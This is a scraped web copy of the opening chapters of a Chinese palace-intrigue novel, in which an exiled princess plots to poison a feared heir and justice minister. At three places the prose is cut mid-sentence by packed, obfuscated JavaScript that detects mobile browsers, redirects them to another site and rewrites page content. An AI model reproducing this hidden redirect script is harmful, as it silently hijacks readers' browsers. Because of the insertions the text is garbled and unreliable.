《被狠戾世子盯上了》 1. 入京 (背景) 建元十二年春,天象示警,大旱经年不缀。千里之外的边境动荡不安,边陲小国不断来犯,我军连连败退,现已失守两座城池。 大乾城中人人自危,百姓叫苦连天。 皇城,奉天殿。 钦天监监正张守正上奏,国遇此难,是乃妖邪作祟,致使紫微暗淡,乾坤失序,国运堪忧。 坊间流言四起,百姓诚惶诚恐。皇帝大怒,为平民息,古国本。遂乘天运,赐死贵妃。 后镇北王萧逸请缨挂帅,短短两月,一举夺回失地,民震天下。得胜归朝之日,天降甘霖,枯禾复苏。此等奇观,百姓纷纷跪拜,举国上下欢呼雀跃。皆言:“王爷之威,可撼山岳,赤诚之心,能感上苍。” 此后十年间,庙堂清明,边疆稳固,百姓安居乐业,一派太平盛世之象。 (正文) 淫雨连朝的天,在建元廿二初春,终得晴光。 原本被连绵不绝的细雨浸的潮湿的长街,此刻也已经渐干。透湿的石面,也显露出了原本的底色,只余下些微润的潮气。暖阳倾落,洒在长街各处,倒让这京城有了许久未见的暖意。 晏乐安立在街角,望着眼前熙攘的人烟,指尖微微蜷了蜷。忽而抬起一只手挡在眼前,透过五指去看,日头悬在半空,和煦的阳光被拆成细碎的金片,落在手背。 她恍惚又想起十年前的深春,椒房殿外桃花灼灼,开得热闹。殿内银盏坠地,母妃跌倒在地。 她犹记得,当时她的手中还拿着刚折下的桃花,粉白的花瓣上甚至还沾着晶莹的晨露。她从满心欢喜地小跑入殿,变成踉跄着扑过去,她怔怔地看着倒在地上的母亲,满脸不可置信。 殿内的一切都安静得可怕,周围太监俯首行礼后退出殿门。 她用尽了全身力气,只堪堪将母妃头颅扶起,小心翼翼地搁在自己的胳膊上,指尖仍在不停的颤抖:“母妃,你怎么了,你别吓乐安。” 她哭喊着,声音嘶哑破碎:“来人啊,太医呢,快去请太医。” 门外无人回应,唯有檐下猫啼,声声泣血。 她起身想要冲出去,一只手轻轻抓住了她的衣袖。那是曾无数次温柔抚摸她头发、为她整理衣襟的手。此刻,它颤抖着,轻轻抓住了她的衣袖。 “傻孩子,别哭。流泪了就不漂亮了,你不是一直嚷嚷着长大后要变成大乾最好看的姑娘吗?” 晏乐安为了让母妃开心,强忍着眼泪挤出一丝笑意。 “母妃没事的,别哭。你听母妃说,今日之事,不要怪你父皇,他也是被逼无奈。”女子声音很弱,却还是强撑着安慰女儿。 可六岁的小姑娘哪里听的懂这些,她只知道自己的母妃生病了,可是没有人愿意帮她,她不知道该怎么办,不知道为何会忽然变成这样。 母妃拿起地上的桃花,小心翼翼插在她的发间。 “桃花开时,簪在鬓边,便如母妃陪在你身边。” 她抬手理了理女儿的衣领,晏乐安像往常一样看着一直温柔善良的母妃为她整理衣衫。 桃花上的晨珠滴落,与母妃眸中的泪水就这样悄然相汇。 母妃似乎没了力气,手上的动作变得迟缓,却还是为她整理好了衣衫。 只是她的眼神中有这浓浓的不舍。 她想起了初入宫时的青涩与憧憬,想起了与帝王之间短暂却真挚的温情,更想起了阿乐和阿宸从嗷嗷待哺的婴孩,长成了总角相伴、嬉笑打闹的垂髫小儿女。 后宫的尔虞我诈,争宠的疲惫与辛酸,此刻都如云烟般散去。她这一生,或许算不上圆满,甚至充满了遗憾与身不由己,但她却不后悔。 她将一颗药递给晏乐安吃下,强忍着眼泪,撑着最后一丝力气,最后抚摸了一下女儿的头发。 皇宫艰险,帝王无情。 “乐安,别怪母妃,只有这样,你才能安稳的活下去。” 语断,那位宠冠京华,才华品貌名盛于上京的贵妃就此了断一生。 晏乐安绝望而嘶哑的声音,终是化作无数呜咽,消散在这空旷而华丽的牢笼中。 后来,六岁的小公主终于明白了。 那杯毒酒,是当朝陛下的恩赐。 “妖妃李氏,乱钢祸国,罪当凌迟。陛下垂怜,特赐鸩酒,免极刑之苦。” 原来啊,不是没有人愿意帮,是没有人敢帮。 天子的恩赐,这天下又有几人敢阻拦。 一阵急促而响亮的马蹄声由远及近,将她的思绪拉了回来。 十载光阴倏忽过,她盼了十年,终是踏在了这上京的长街。 “乐安公主,是位什么人。为何从未听说过大乾还有这位公主?”说话的女子一身麻布粗衣,头发挽着妇人髻,手里的菜篮满满当当,应是上街买些日常用度,瞧见这边热闹,便来凑个趣儿。 周围人群熙熙攘攘,无人解答女子刚刚的疑惑。 她离这京城,竟已隔了如许年月。久到这大乾朝已有人不知还有一位乐安公主了。 晏乐安笑了笑,并未多言,向前一步,目光顺着众人的视线望去。 京城长街尽头,两排禁卫军跟随着紫檀木打造的轿子缓缓前进,三丈宽的街道上,马车缓缓向前,只发出细细的沙沙声。一缕蓝色裙摆飘出轿门,细纱裹着面目的一名女子端坐在轿子中。 忽而吹来一丝微风,恰好掀起轿中女子面纱一角,细白的下颌线露了半寸,再往上,竟是密密麻麻的黑纹。 正望的出神,晏乐安倏然感到心头莫名一跳,目光与轿中女子撞个正着。那半张脸藏在风里,只一瞬便被落下的面纱遮回去。 四海楼二楼一人凭栏而立, 长街的喧闹、嬉笑都仿佛与他隔绝。 他的目光,紧紧地、无声地凝视着长街中的女子。 无人察觉这暗处的凝望,也无人发现这位轿中公主的真实面目。 周遭人群中却不知是谁开头议论。 “她这个煞星怎么回来了?”晏乐安听见一名男子语气不忿的说。 “听这位兄台的语气,似是对这位乐安公主很是不满?”她装作满怀好奇的样子出口询问。 “她算个什么公主,连个正经封号都没有,就是个妖妃留下的孽种。心肠更是歹毒,小小年纪便敢推二皇子落水,这样的人,就该一辈子青灯古佛,替她和她那妖邪的罪妃母亲,好好赎清罪孽。” 愣怔间,所有的记忆顺着这些谩骂被拉回十年前春日夜晚。 “晏乐安,你好大的胆子!竟敢推景琰下水?” “小小年纪,心思竟如此歹毒!” “定是你那妖妃母亲教坏了你!皇上,你可要为臣妾和我们可怜琰儿做主啊!” “乐安,为何要推你皇兄?” 春日的夜,湖水边寒意刺骨。 湿淋淋的二皇子刚被侍卫捞上岸,脸色惨白如纸,人事不省。 皇帝铁青着脸,皇后满眼怨毒。 周围的人,无论是宫妃还是婢女,都将矛头指向了站在湖水旁的晏乐安。 她只是静静地站着,无视了父皇的质问和皇后的谩骂,目光望向人群中的三皇子。 她的同胞兄长,她在这世上唯一可以信赖依靠之人。 可他只是站在那里,面容冷漠,眼神疏离,仿佛在看一个毫不相干的陌生人。 明明上一刻还关切的对着她说:“乐安,别怕,忘记你刚刚看到的一切。哥哥去找人,待会儿无论发生什么,你都不要说话,等哥哥说好不好。” 她努力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当一个朝代需要靠妖邪来安抚百姓心中惶恐,百姓需要靠祥瑞来期待盛世繁华,那这个朝代离颓败又能有多远呢。 “不知姑娘来京城是寻亲还是因其他缘故?”楚瑾偏了偏头,见女子许久未搭话,打开手中扇子开口说道。 “我来寻一人。” 她要寻一人,然后利用他,杀了他。 晏乐安微微侧头,目光掠过他,声音平淡,听不出任何语气。 楚瑾上下看了看少女,粗布麻衣,头上未插半支簪钗,连脚上的鞋子都打了补丁。这般装束,怕是他家的下人也不屑于穿。说她认识京中之人,听着只觉是一派胡言。 可少女目光坚定,似是有股不达目的永不屈服的执拗,偏还生了一副极好的面孔,可谓称的上北方有佳人,绝世而独立。一顾倾人城,再顾倾人国。让人忍不住去信任她。 “何人?” (一些作者的碎碎念。) 关于一些书里的设定。 男主是妥妥的腹黑,做事很狠。女主有双层马甲,不会武功,是一个白切黑,很会装。他们身上都背负着血海深仇,算是两个忍辱负重,互相算计的人最后联合起来报仇雪恨的故事。 前期女主因为误会是真的想杀男主,也动手过,不过没成功,所以一直在装。可能看起来会有点弱,但咱们女主宝宝是聪明人哈。 避免同音字的误会,解释一下,女主叫晏乐(le)安。 最重要的一点:结局是He!He!He! 如果大家喜欢这本书的话,可以收藏一下;不喜欢的话也拜托大家轻点骂,拜托拜托。 好了,碎碎念就到这里了。咱们书里见。 2. 煞神 晏乐安歪头故作懵懂:“公子只解答了我一个疑惑,却已经问了两个问题。” “这样算起来,我着实吃亏。” 楚瑾被她这莫名其妙的计较逗笑了,这世间多的是不公平的事情,若事事计较得失,那不得日日茶饭不思,愁肠百结。 “可姑娘只答了一个。” 不等晏乐安说话,楚瑾便扇起扇子,活脱脱一副混迹戏台子的纨绔公子。 “所以这才叫公平。” 晏乐安说完故意拢了拢衣襟,露出半块带花纹的玉佩,看着他这副样子装作不想过多纠缠的样子,径直要走,连眼角余光都未给他。 楚瑾见她要走,瞥了一眼楼上的人,连忙小跑两步上前拉住晏乐安。 “姑娘别急着走啊,想必姑娘也是刚来京城,这上京说大也不大,说小也不小,可要想找一个人,那可得费好些功夫。” “鄙人不才,能闭着眼睛说出从东门到西门最近的胡同路,知道哪家老字号的酱肘子最好吃,连哪个犄角旮旯里藏着最好的酒也略有耳闻。” 楚瑾说的头头是道,一脸这上京就没有他不知道的地,没有他不了解的美食美酒。 “找个人,自然也是轻而易举。还望姑娘给在下一个乐善好施的机会,就当我想与姑娘交个朋友的薄礼。” 晏乐安仔细看了看眼前这位公子的穿着,这京城到处都是达官贵人,家中有权有势着更是数不胜数。 她当然知道他是谁。 她来到上京后,费尽心思也没有想到办法可以见到那人,没想到今日只是看个热闹就让她碰到了救星。 楚瑾,嘉宁候府小公子。 嘉宁候,是因其老嘉宁候,楚瑾的祖父当年南下舍命救先帝,落了终身残疾,陛下感念其恩德,又因其世代战功赫赫,才特以恩赐。 如今到了楚瑾这一代,其父膝下有三儿一女,长子楚昭,长女楚晚宁皆正妻王氏所生。次子楚明,妾室柳氏所生。而楚瑾是嘉宁候醉酒时被一个洗脚婢女爬床所生。 因此,楚瑾出生便不受嘉宁候喜爱,只扔在一个偏僻院落里自生自灭。 楚瑾长大后,更是烟花巷柳,各大赌坊,凡是寻欢作乐之处,无不见他的身影。嘉宁候听闻更是怒骂“逆子”。 偏偏王氏苦口婆心,怜惜孩子,一心阻挠侯爷发怒,对于银两一事,更是从不推辞。 最关键的是,他和萧玄凛是好友。 她来这上京,要寻的人便是萧玄凛。 “镇北王府世子。” 楚瑾听到这个名字一脸不可思议。 这么巧? “你疯了吧,活腻了,去见那个阎王爷。” 他又偷偷往楼上看了一眼,发现哪里早已空无一人。 “公子,你在看什么?” 宴乐安疑惑的顺着他的视线看过去,只见一扇窗子半开着,午后的阳光透过玻璃洒进去,隐约能看到屋内模糊的构造轮廓,并无特别。 “哦,没什么。”楚瑾眼神闪烁了一下,避开了晏乐安的目光。 “看公子的表现,莫不是真的认识那位世子殿下,公子可有办法带我去见他。”晏乐安的眼睛一下就亮了,不枉费她辛辛苦苦陪他演了这么久。 “你为何要找他。”楚瑾有了乐趣。 找萧玄凛,这世间除了送死,还有何人会主动找他。 “莫不是也看上了他那张脸?” “不是,我只是觉得他很厉害,而且都说他自幼聪慧,所以我很仰慕他,想见他。” “并不是看上他的脸。” 楚瑾:“我刚声音有这么大吗?” 他只是悄咪咪编排两句罢了。 晏乐安:“有。” 说完还使劲的点了点头。 “无妨,记得替我保密就好。他这个人最忌讳别人说他长的好看了。”楚瑾叮嘱到。 “这么说,你答应带我去见他了。”晏乐安眼睛亮晶晶的,高兴的手舞足蹈。 她怕是根本没听过这位煞神的事迹,楚瑾思索片刻,他今日已经发过一次善心了,日行一善的目标也达成了。 这位姑娘既然非要去送死,他倒乐意送她一程。 “跟着我。” 晏乐安小心翼翼的跟在楚瑾后面,入目是朱红色的大门,屋顶的琉璃瓦在太阳的照耀下闪闪发光,耳边不停传来敲鼓鸣冤的哭泣声。 “这里是大理寺?” “怎么,怕了,你现在回头还来得及,说不定可以保住你这条小命。”楚瑾再次好心提醒。 晏乐安摇了摇头,今天她是一定要见到萧玄凛的,那毒只能撑十年,若十年后没有服下寒魄引诱发毒药,便会自动失效。 而如今离十年只差一个月,以她如今冒充的身份想要见他一面何其困难,更何况要将寒魄引下入萧玄凛的饮食中。 她小跑几步跟上去,尽量忽略那些侍卫打探的目光,顺利的进入大门。 楚瑾把她带到了一个偏殿暗房中,殿台中间一席白衣的男人正在慢条斯理的擦拭一炳剑。 听见他们进来的声音,男人并没有抬头。晏乐安小心翼翼的微微抬眼,便看见男人挥剑就利落地抹掉了地上黑衣人的脖子,温热的血液喷洒在了她的脸上以及衣服上。 晏乐安瞬间被吓的腿软,整个身体止不住的颤抖,来不及去擦拭脸上的血迹便发现不远处躺着几具尸首,她强撑着身体,努力减少自己的存在感。 青天白日,在大理寺里杀人,还能在管制这么严的地方建立暗室,这个人绝对比现在看起来更危险。 她草率了!!! 与台上的人目光对视,他的眼神冰冷刺骨,明明长着一双那么好看的眼神,看的人却直愣愣的发抖。 他把剑扔给一旁的暗卫,黑衣人接过剑瞬间消失。 看着他一步一步走下来,晏乐安鼓起勇气,麻溜的摆手摇头:“大人放心,我什么都没看见,也绝对不会乱说。” 许久后,声音才悠悠传来:“死人的嘴才最为严实。” “阿凛,小姑娘而已,不如就放过她还一次。”楚瑾看够了戏终于出声。 没安好心,看他那么谈定的样子,分明就是知道里面会发生什么,还带她进来,这明摆着就是要她送死。 怪不得在门口说说不定可以保住她这条小命。 她怎么这么倒霉,想见的是个煞神,不小心碰见的也是个煞神。 “大人,求您放过我吧。我可以发誓,出去后但凡透漏关于今日的半句话,必叫我的生身父亲不得好死,养育我的母亲天打五雷轰。”说着她便连忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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至于弑师杀友,弑的是她的舅舅,杀的是她的表兄。 她来京城,便是要那些曾经有罪之人伏诛,而萧玄凛便是其中一人。十年前她费尽心思给他下毒,却没想到那毒竟然需要引子才能诱发,她花费了将近十年才找到引子。 可如今,她一来就撞破了此等场面,先保住这条命才是最重要的。 晏乐安眼珠子转了转。 忽然,染血的指尖挑起她的下巴,寒意顺着皮肤渗入骨髓:“看见了不该看的东西,就该...死。” 晏乐安一下子失了重心倒在地上,眼泪顺着苍白的脸奔涌而下。喉咙里发出细碎的呜咽,颤抖的指尖死死扣住衣角。 她恨他,他亲手杀了培育他的恩师,待他如亲弟的兄弟,却可以毫无悔意的说出来。 他凭什么? “阿凛,你怎么回事?”楚瑾走过来悄声在萧玄凛耳边说:“不是你传信让我带她过来的吗?” 萧玄凛垂眸片刻,并未搭理楚瑾。 楚瑾接着说:“小姑娘挺不容易的,喂个哑药,剁了手,便饶了她吧。” 你高贵,你厉害,怎么不给自己喂哑药,把双手双脚都剁了呢。 晏乐安内心悱恻。 “在我这里从未有人活着出去,你不该来京城的。” “怕死吗?”萧玄凛侧身在她耳边,简单又令人恐惧的三个字就这样轻声细语的从他嘴里说出来。 晏乐安知道,这是明晃晃的威胁。 “怕,很怕。”她如实回答。 这世间想要活着何其艰难,没有人会不怕死,除非已无未了之事,亦无可牵挂之人。 3. 救命恩人 可她还有许多未了之事,也有她一直牵挂的人。 她不知他这些年过的好不好,也不知他是否还记得她这个妹妹。 若是今日她无辜惨死,不知他是否会伤心?是否会后悔当年所做之事? 她其实很想见他一面,告诉他,她不怪他,她一直都很想他。 她稍微斜了一下想要缓解已经被压麻的脚,腰间传来几声当啷的响声。 晏乐安恍然大悟,自己这么把这茬给忘了。或许,这个东西可以保她一命。 她当机立断,立马开口: “大人可还记得一年前青石镇乱葬岗深受重伤,被一名女子所救,恢复伤势后走时留下了这枚玉佩。” 晏乐安将玉佩捧在手心,额间碎发早已被汗浸湿,双手也在不停颤抖。 “多大点事儿,瞧给人姑娘吓成什么了。”楚瑾接过玉佩递给萧玄凛,“这好歹也算是你救命恩人了,不报恩就算了,怎么还能恩将仇报呢。” 萧玄凛手指细细摩擦手里的玉佩,指腹捻过纹路时忽然顿住。唇角慢慢扯出弧度,眼底的目光确是冰冷的没有丝毫温度。 晏乐安觉得他的笑容完全就是一把开刃的匕首,看着她的目光仿佛是盯着即将到手的猎物,就这样静静的等待她自投罗网。 然后被开膛破肚,死无葬身之地。 “恩人......算个什么东西?” “我当时既受伤严重,这玉佩怕不是你趁我昏迷窃取的。” 萧玄凛的笑容早已消失,垂眸凝视着她:“今日发生的一切怕也是你的计谋。” “若你老实交代是谁派你来的,我也许还能留你一条全尸。” 晏乐安被这人搞懵了,脾气不好就算了,怎么还这么多疑,全尸,那是赏赐吗?分明就是逼着她去死,根本没给她活的机会。 她一个弱女子,怎么可能想什么计谋,她图什么?一不小心就丢掉这条小命,难不成她是活够了去送命。 当然,除了图他这条命。 “大人明鉴,我只是一名走投无路的女子。三年前阿娘被贼人所害,父亲偏爱哥哥,便留我一人自生自灭。前段时日,父亲想将我卖给一名瘸腿的寡妇当妾室,我只记得母亲说过,宁守孤灯以终老,不做他人别院之棠。这才逃到京城,人人都说京城是这世间最繁华的地方,我便想着在京城或许可以为我阿娘报仇雪恨。” “求大人怜悯,饶我一命。” 萧玄凛似乎有些松动,眼底寒芒微收,低声轻缓:“你口中的贼人是何人?” “当朝钦天监监正张守正的孙子张良。” “为何要见我?” “大人留下的玉佩一看就不是普通人家用的起的,我在来上京的路上打听了许多人,这才得知大人是玉佩的主人。我只认识大人,也相信大人会看在一丝恩情的份上帮民女一次。” 楚瑾似乎听见了不可思议的事情,大声笑出来:“哈哈哈哈......” “信他,小姑娘,那你怕是信错人喽。” “这全京城谁都可以信,唯独他,人人都巴不得避而远之。”楚瑾做了个抹脖子的动作。 “我信。” “我信!” 晏乐安说的掷地有声,铿锵有力。 “大人是个好人,不会和我一个女子计较。 萧玄凛的目光没有任何变化,淡淡的看着她。 “你叫什么名字?” “阿乐,我叫张阿乐。” “阿乐......真是个好名字。” 萧玄凛的眼神忽然变得温和,嘴角也带了些许笑意。 “我记得姑娘曾经说过喜桃花,故而那日带的白色面纱上用了桃花的点缀,平时衣物也喜爱桃花做点缀,怎么今日衣袖上用了梅花。” 她疑惑的摇了摇头:“大人是不是记错了,我从未说过我喜桃花,并且那日我戴的面纱是青色。” 她知道他在试探她,那日她自然不会费心去救一个她本来就想杀的人。 只是,当日发现他的还有其他人,为了避免起疑,她不能白天动手。她原本想等到晚上装作他的仇家追来给他一些教训,让他伤势加重些,不致死但也活不久,为此白天还特意下了足量的迷药。没想到,她出去看个热闹的功夫人就跑了,还好她提前藏下了他的玉佩。 晏乐安又说道:“当日民女与大人也并未说过话。” 萧玄凛似笑非笑:“是吗,我记得我受伤并不严重,昏迷最多一刻钟也该清醒,只是不知为何醒后一直晕晕沉沉,也怕扰了姑娘清闲,便自行离去了。” 晏乐安有点心虚的笑了笑:“可能是大人长期劳累,身体比较虚弱,加上大人本就受伤,难免会觉得困乏。” 萧玄凛神色未变,开口说道:“哦,是吗” “想来是如此的。” 萧玄凛开口说道:“既然是我的救命恩人,我自然不会恩将仇报。” “守川,将她带回王府。” “是。”守川恭敬的带着晏乐安出去。 男人的话音落地,晏乐安终于长疏一口气,这条命可算保住了。 还没等她停止紧张,男人的话又轻轻的飘来:“若让我发现你骗我,大理寺牢狱一百零八套刑罚,阿乐姑娘便挨个体验一番。” 她刚放下去的心又被提到了嗓子眼,歪头看了一眼地上还没处理尸体和血迹又立马反应过来。 她今日所言句句属实! 那么,就不可能存在欺骗。 “阿凛,今日这行事作风可不像你。” “你以为我会如何?”萧玄凛的眼神已经完全没有了刚刚的温和。 “你让我费尽心思接近她,把她带到大理寺,我以为你是对人家姑娘一见倾心,魂牵梦绕。” “可看你今日的表现,分明是想借此恐吓她,让她离开京城,可又为什么把她带回王府?” “孤女,报仇,阿乐,玉佩,黑衣人......这么有趣的一个人,身上藏了这么多疑点,你就不好奇她到底有什么目的?” 萧玄凛的眼神变得玩味,将手里的玉佩反复摩擦。 “一个青石镇走投无路的孤女而已,能有什么秘密,估计是没听说过你的名号。只打听了玉佩的主人是谁,想着万一攀上高枝岂不是一飞冲天了。”楚瑾一脸烦躁。 “能有什么秘密?” 萧玄凛语气冷漠:“她不是一般人。” “去查。”萧玄凛递了一个眼神给隐在黑暗中的人。 是猎物还是猎人,唯有入局才可分辨。 爪牙未现前,焉知谁为饵,谁作弓? “你叫守川是吧?” “是。” “我能问你个问题吗?” “不能。” 好冷漠的一个人,晏乐安无奈。 “那我问你你只需要点头或者摇头可以吗?” 守川点头。 “王府里有药房吗?” 守川点了点头。 “你家大人有什么忌讳或者特别的爱好吗?比如怕冷或者怕热之类的?” 守川没有理她。 晏乐安也不在自讨没趣,这人戒备心可真重。 我又不会害他, 顶多也就害害他主子。 晏乐安坐在马车里扶额思考,按理说中了冰玉散,应当是畏冷的。 可萧玄凛身上那件月白锦袍,料子虽上乘,却并不厚实,领口袖口甚至还松着几分,放在夏日也可穿的,更如今是春日,还尚带凉意。 到底是根本未中毒还是因为没有引子毒性已经快褪去? 她烦躁的叹息一声,又忽而打气精神。 以防万一她还是得抓紧让萧玄凛喝下冰玉散的引子。 可一想起来那人冷冰冰的样子,还有那染血的白衣,她又忍不住发颤。 晏乐安自从那天被带到镇北王府后就一直呆在一个偏僻院落,萧玄凛不仅是王府的世子也是当朝大理寺卿,公务繁忙,极少回来。 不过她这几天也没闲着,毕竟她一个外来投奔着,借着一份恩情暂时得到萧玄凛的垂怜。 自然也得好好打听一下王府的情况,不然万一不小心碰到逆鳞,她这颗脑袋怕是又要保不住了。 毕竟这镇北王府的世子是一位阴晴不定的人,她算是见识到了。 镇北王府的情况说起来也十分简单,王爷萧逸和当朝陛下是挚交好友。十年前,边关告急,为保家国,镇北王请缨出征。只是两国交战期间,其王妃亡故。回京后,与其子关系恶化,自此长守边关,十载未曾归京。 “还有吗?比如一些世子的爱好,他爱吃的食物,讨厌的东西,亦或者他有什么别人不能触碰的逆鳞?” 晏乐安拉着王府里的一位洒扫婢女想要坐下来悄咪咪的打听:“姑娘,这不合规矩。” 银月连忙抽回手,屈膝行礼:“奴婢是下人,王府规则森严,若是被人瞧见,定会责罚奴婢。” 银月说话时怯生生的,刚刚被握住的手指有这厚厚的茧,一看就是个常年干粗活的人。 晏乐安实在不太理解这镇北王府的规矩,她幼时虽长于深宫,但母妃为人极为和善,因此宫中奴婢也时常嬉戏玩闹。 这王府的规矩怎的就如此不通情达理,不过碍于人家一再拒绝,也不在勉强。如果因为她坏了规矩,害别人受罚,她估计好几日都无法安寝:“你如果不嫌累,站着给我讲讲也行。” “奴婢不累,只是……这府内不许讨论主人家的事。”银月的眼神不自主的看向门外。 “哎呀,不碍事的,闲聊两句而已。” 银月短暂思考了一会儿刚要开口,晏乐安就听见一股带着冷意的声音传来:“想知道什么,直接问我不是更清楚。” 门外的萧玄凛穿着一身墨黑色的锦袍,不在是初见时的白衣。腰间还配带了一枚麒麟玉佩,仔细观察会发现玉佩呈弯月形,其上面还雕刻这一半麒麟,能看出来,这枚玉佩应当是一对中的其中之一。 晏乐安看到的入神,全然忘记了这玉佩的主人正站在门外直勾勾的看着她。 “怎么不说话。” 他的声音再度传来,明明很轻,却仿佛带着千钧之力,惊得晏乐安手一松,下意识看向他。 待她再回神,却发现银月早已屈膝行礼后,悄无声息地退到了屋外,动作利落得就像从未在这屋子里停留过。 晏乐安望着空荡荡的位置,一时有些怔忡,还没等她缓过神,萧玄凛高大的身影已跨进门槛,身上凛冽的气息瞬间填满了整个房间。 她连忙摆出个行礼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712695|189298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姿势,只是实在难看,半点京城闺阁姑娘的礼仪都没有。 当然了,她是装的。她扮演的可是一个爹不疼娘去世的可怜女子,自是无人教她这些的。 “大人,阿乐只是想要多了解一下您。毕竟大人是阿乐在这京城认识的第一个人,还不计前嫌让阿乐有了安身之所。” 晏乐安一脸真诚,嘴角噙着笑容,脸上的两颗梨涡浅浅凹陷,配上那双单纯无辜的眼睛,活脱脱像一只富贵人家精心豢养的小猫。 萧玄凛缓缓走进,在靠近她的时候忽然轻笑出声,笑声带有一丝戏谑:“楚瑾在你这里算是死人吗?” 该死的,这人要不要这么会找漏洞。 她那不过是随口应景的说辞罢了。 晏乐安接着刚才的语气,柔柔的出声:“可阿乐只记得大人了,毕竟有大人在的地方,阿乐的眼里实在看不进去别人。” 她笑的毫不虚假,她可不就只能看得见他吗?毕竟,她就是为他而来的。 “阿乐姑娘这双眼睛生的真妙,笑着动人,哭起来是不是也十分惹人怜惜。” “只是不知,这笑到底是带了蜜,还是藏着刀?” 晏乐安心中一紧,面色一变,瞬间将委屈演绎的真切。 “大人说笑了,阿乐只是看见大人就心花怒放。心情愉悦了,自然就爱笑。” 她当然是吓的,这人这么可怕。杀人不见血,她哪敢摆脸给人家看,更别说她还在他家白吃白住,还想下毒害他呢,可不得想着法儿先讨好人家。 毕竟,动动脸笑一笑又算的上什么难事。 “你究竟是谁?”萧玄凛不在试探,似乎失去了耐心,语气冷淡的询问。 “大人何出此言?阿乐早已解释过,我就是一个母亲离世,父亲厌恶的孤苦无依的弱女子,若不是大人收留,恐怕早就流落街头了。” 晏乐安说着说着抬起衣袖去擦拭眼角的泪水。 萧玄凛也注意到了,女子原本笑吟吟的眼睛此刻泪眼朦胧,一副梨花带雨的模样。让他不自觉的想起后院里那株被霜打过的白梅。 晏乐安擦完眼泪又开始补充,生怕萧玄凛误会她:“大人,阿乐真的没有隐瞒什么,若有半句假话,天打雷劈。” 萧玄凛看着她信誓旦旦的样子,心中暗暗冷笑,这个女子,还真是倔强。 不过,他并不着急,他有的是时间,等着她自己露出马脚。 “想知道什么。” 晏乐安被他的话怔了一下,又立马反应过来,他是在让她继续刚才的问题。 她有点不好意思,嘴角又强硬扯出弧度,这样苦笑不得的样子,看起来真是难看极了。 “大人,你可有什么喜欢的东西,或者爱吃的菜。”晏乐安吞吞吐吐终于说了出来。 “有求与我?”萧玄凛一下就猜出了她的心思, “大人可真聪明,阿乐确实有事想求。” “说说看,什么事?” “我想知道前礼部侍郎李工的事情。” 萧玄凛骨节分明的手指搭在釉面,壶嘴倾斜的刹那,动作却陡然凝滞。 空气瞬间凝固,阿乐敏锐捕捉到他指尖微不可察的颤意,心跳也跟着漏了一拍。 只见萧玄凛垂眸盯着壶嘴将倾未倾的茶水,喉结缓缓滚动,睫毛在眼下投出细密阴影。 不过呼吸间,鎏金壶嘴又重新倾泻出茶流,涟漪在杯中荡开,仿佛方才的停顿只是错觉。 萧玄凛:“为何想知道?” 晏乐安压抑住自己内心的恨意,缓缓说出口:“因为我想了解大人,也不相信大人会做出那样的事情。毕竟那时的大人也不过是个孩童而已。” 她确实有所怀疑,舅舅常说自己收了个好弟子,秉性良善,聪慧敏捷。 她幼时在宫中也时常听说镇北王府世子常年开粮救济穷苦人,甚至会为了一个毫不相识的百姓,跪求镇北王三天三夜,只为求他上奏朝廷还有冤着一个公道。 所以这样的一个人,究竟是发生了什么才会弑师杀友。 当年她匆忙下了毒之后,也一直在查事情的真相,可她终究太过于自信。 在这皇朝之下,一个事情的真相有太多人掩盖,她一人的力气实在太小,小到翻不起任何波澜。 萧玄凛面色不变:“世人都信,阿乐姑娘又何必多次一问。” 晏乐安:“世人都信,但我不信。” 她低头又补充道:“更何况世人说的话就一定是真的吗?真真假假,假假真真,谁又能真正的分辨清楚。” “可若事实的真相就是如此呢?你所听到的就是真相。” “大人,我~。”晏乐安的话被萧玄凛打断。 “奉劝一句,安心做自己的事情,管的太多,容易死。” “不过,阿乐姑娘若是真活够了,我不介意送你一程。” 她早就活够了,可她还要还母妃,外祖,舅舅,表兄一个真相,一个公道。 苟延残喘至今,面对仇人却只能虚与委蛇。 她征征的看着面前的男人,俯首请罪:“阿乐错了,还请大人看在阿乐不懂规矩的份上,饶恕阿乐一次。” 芸娘曾经说过,无论什么时候,保住性命永远是最重要的,哪怕这件事情的是非对错还并无结论。 4. 好人 “阿乐姑娘多虑了,你是我的恩人,我怎么会害你。”萧玄凛面无表情,“方才所言,不过是和姑娘开个玩笑。” 玩笑是这么开的吗?晏乐安内心偷偷翻了一个白眼,要不是为了给他下寒魄引,谁愿意住这儿啊。平白无故被吓就算了,还时常觉得小命不保。 萧玄凛打量了一下宴乐安,浑身上下充满着无数人的缩影,鲁莽,怕死,不知天高地厚。明明口口声声说她只是一个普通人,却敢单枪匹马闯入大理寺,他该信她吗? 密室里的一幕幕出现在他眼前,血渍斑驳的衣衫,横陈满地的尸首。若是寻常人见次情景,恐怕早已跪下请罪或仓皇而逃大声呼喊。 而她,他的眼神再次落在她身上。明明知道自己的话破绽百出,几乎每句话都精准的踩在自己的雷点上,面前的女子却一副毫不知情的样子,坦然自若。并且在短时间内权衡利弊,临危不乱,借着玉佩逃过一劫。 或许,他真不该心软。 留着一匹狼,还是一匹善于藏匿在黑暗中的狼在他身边,随时都有可能露出它的锋利,撕咬人无无形。 晏乐安长舒一口气,扯出一抹看起来毫无破绽的笑容:“是阿乐以小人之心度君子之腹了。” “还请大人有大量不与阿乐计较。” 萧玄凛未说话,但晏乐安可以明显感受到他一双眼睛紧紧的看着自己,似乎有很多情绪,又似乎毫无情绪。 